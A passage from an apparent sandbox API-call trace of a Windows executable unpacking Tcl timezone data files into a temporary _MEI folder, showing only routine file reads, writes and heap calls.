"c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.267] GetFileType (hFile=0x10c) returned 0x1 [0040.267] htonl (hostlong=0xdcfa5a00) returned 0x5afadc [0040.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5faadc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.267] htonl (hostlong=0x87000000) returned 0x87 [0040.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0040.267] htonl (hostlong=0x87000000) returned 0x87 [0040.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.267] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.267] htonl (hostlong=0x8e000000) returned 0x8e [0040.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x550600 [0040.267] htonl (hostlong=0x87000000) returned 0x87 [0040.267] htonl (hostlong=0x8e000000) returned 0x8e [0040.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.268] CloseHandle (hObject=0x10c) returned 1 [0040.268] GetLastError () returned 0x0 [0040.268] SetLastError (dwErrCode=0x0) [0040.268] GetLastError () returned 0x0 [0040.268] SetLastError (dwErrCode=0x0) [0040.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.268] GetFileType (hFile=0x10c) returned 0x1 [0040.268] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.268] CloseHandle (hObject=0x10c) returned 1 [0040.268] GetLastError () returned 0x0 [0040.268] SetLastError (dwErrCode=0x0) [0040.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.269] GetFileType (hFile=0x10c) returned 0x1 [0040.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.269] CloseHandle (hObject=0x10c) returned 1 [0040.269] GetLastError () returned 0x0 [0040.269] SetLastError (dwErrCode=0x0) [0040.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.269] GetFileType (hFile=0x10c) returned 0x1 [0040.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.270] CloseHandle (hObject=0x10c) returned 1 [0040.270] GetLastError () returned 0x0 [0040.270] SetLastError (dwErrCode=0x0) [0040.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait") returned 68 [0040.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuwait"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.270] GetLastError () returned 0x2 [0040.270] SetLastError (dwErrCode=0x2) [0040.270] GetLastError () returned 0x2 [0040.270] SetLastError (dwErrCode=0x2) [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait", lpFilePart=0x0) returned 0x43 [0040.270] GetLastError () returned 0x2 [0040.270] SetLastError (dwErrCode=0x2) [0040.270] GetLastError () returned 0x2 [0040.270] SetLastError (dwErrCode=0x2) [0040.270] GetLastError () returned 0x2 [0040.270] SetLastError (dwErrCode=0x2) [0040.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait") returned 68 [0040.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuwait" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuwait"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.270] GetFileType (hFile=0x10c) returned 0x1 [0040.270] htonl (hostlong=0x8e000000) returned 0x8e [0040.270] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.271] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8e, lpOverlapped=0x0) returned 1 [0040.271] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.271] CloseHandle (hObject=0x10c) returned 1 [0040.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.272] htonl (hostlong=0x30000000) returned 0x30 [0040.272] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.272] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.272] GetFileType (hFile=0x10c) returned 0x1 [0040.272] htonl (hostlong=0x63fb5a00) returned 0x5afb63 [0040.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fab63, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.272] htonl (hostlong=0x82000000) returned 0x82 [0040.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x82) returned 0x55cfe0 [0040.272] htonl (hostlong=0x82000000) returned 0x82 [0040.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.272] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.272] htonl (hostlong=0xa4000000) returned 0xa4 [0040.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa4) returned 0x544990 [0040.272] htonl (hostlong=0x82000000) returned 0x82 [0040.272] htonl (hostlong=0xa4000000) returned 0xa4 [0040.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.272] CloseHandle (hObject=0x10c) returned 1 [0040.272] GetLastError () returned 0x0 [0040.272] SetLastError (dwErrCode=0x0) [0040.272] GetLastError () returned 0x0 [0040.273] SetLastError (dwErrCode=0x0) [0040.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.273] GetFileType (hFile=0x10c) returned 0x1 [0040.273] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.273] CloseHandle (hObject=0x10c) returned 1 [0040.273] GetLastError () returned 0x0 [0040.273] SetLastError (dwErrCode=0x0) [0040.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.273] GetFileType (hFile=0x10c) returned 0x1 [0040.273] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.274] CloseHandle (hObject=0x10c) returned 1 [0040.274] GetLastError () returned 0x0 [0040.274] SetLastError (dwErrCode=0x0) [0040.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.274] GetFileType (hFile=0x10c) returned 0x1 [0040.274] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.274] CloseHandle (hObject=0x10c) returned 1 [0040.274] GetLastError () returned 0x0 [0040.274] SetLastError (dwErrCode=0x0) [0040.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao") returned 67 [0040.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\macao"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.274] GetLastError () returned 0x2 [0040.274] SetLastError (dwErrCode=0x2) [0040.275] GetLastError () returned 0x2 [0040.275] SetLastError (dwErrCode=0x2) [0040.275] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao", lpFilePart=0x0) returned 0x42 [0040.275] GetLastError () returned 0x2 [0040.275] SetLastError (dwErrCode=0x2) [0040.275] GetLastError () returned 0x2 [0040.275] SetLastError (dwErrCode=0x2) [0040.275] GetLastError () returned 0x2 [0040.275] SetLastError (dwErrCode=0x2) [0040.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao") returned 67 [0040.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macao" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\macao"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.276] GetFileType (hFile=0x10c) returned 0x1 [0040.276] htonl (hostlong=0xa4000000) returned 0xa4 [0040.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.276] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa4, lpOverlapped=0x0) returned 1 [0040.277] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.277] CloseHandle (hObject=0x10c) returned 1 [0040.277] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544990 | out: hHeap=0x530000) returned 1 [0040.277] htonl (hostlong=0x30000000) returned 0x30 [0040.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.278] GetFileType (hFile=0x10c) returned 0x1 [0040.278] htonl (hostlong=0xe5fb5a00) returned 0x5afbe5 [0040.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fabe5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.278] htonl (hostlong=0x6a010000) returned 0x16a [0040.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16a) returned 0x550600 [0040.278] htonl (hostlong=0x6a010000) returned 0x16a [0040.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.278] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.278] htonl (hostlong=0x6050000) returned 0x506 [0040.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x506) returned 0x55e278 [0040.278] htonl (hostlong=0x6a010000) returned 0x16a [0040.278] htonl (hostlong=0x6050000) returned 0x506 [0040.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.278] HeapFree (in: 